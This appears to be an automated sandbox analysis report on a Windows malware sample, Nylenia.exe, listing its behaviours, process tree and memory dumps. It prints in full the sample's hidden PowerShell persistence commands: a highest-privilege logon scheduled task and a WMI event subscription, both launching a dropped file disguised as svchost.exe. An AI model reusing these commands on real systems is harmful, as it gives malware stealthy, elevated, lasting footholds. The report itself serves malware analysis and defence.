Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
26/06/2026, 15:32
General
- Target Nylenia.exe
- Size 9.4MB
- Sample260626-syn3fsc16m
- SHA256 2ff1c482e6f852af96b352aa0b98e7c77e0212c422de60c5c0525d4e9bb398e2
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Nylenia.exe"C:\Users\Admin\AppData\Local\Temp\Nylenia.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'svchost_e3c6bd17' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'svchost_e3c6bd17' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'svchost_fe3c6bd17'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'svchost_ce3c6bd17'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svchost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='svchost_fe3c6bd17'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='svchost_ce3c6bd17'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_bkgrrojl.ylc.ps1
agent-1124031664.tmp
memory/1480-20-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-36-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-12-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-13-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-14-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-15-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-17-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-19-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-35-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-24-0x000002103B930000-0x000002103B94E000-memory.dmp
memory/1480-25-0x000002103B950000-0x000002103BA02000-memory.dmp
memory/1480-26-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-27-0x000002103BA10000-0x000002103BA1A000-memory.dmp
memory/1480-10-0x000002103B880000-0x000002103B8A2000-memory.dmp
memory/1480-11-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-9-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-21-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-30-0x000002103BA40000-0x000002103BA5E000-memory.dmp
memory/1480-38-0x00007FFE64540000-0x00007FFE64EE4000-memory.dmp
memory/1480-6-0x00007FFE646CF000-0x00007FFE646D0000-memory.dmp
memory/2156-48-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-49-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-51-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-52-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-53-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-54-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-56-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-57-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-58-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-59-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/2156-61-0x00007FF693A00000-0x00007FF6963C5000-memory.dmp
memory/6024-47-0x00007FF60B190000-0x00007FF60DB55000-memory.dmp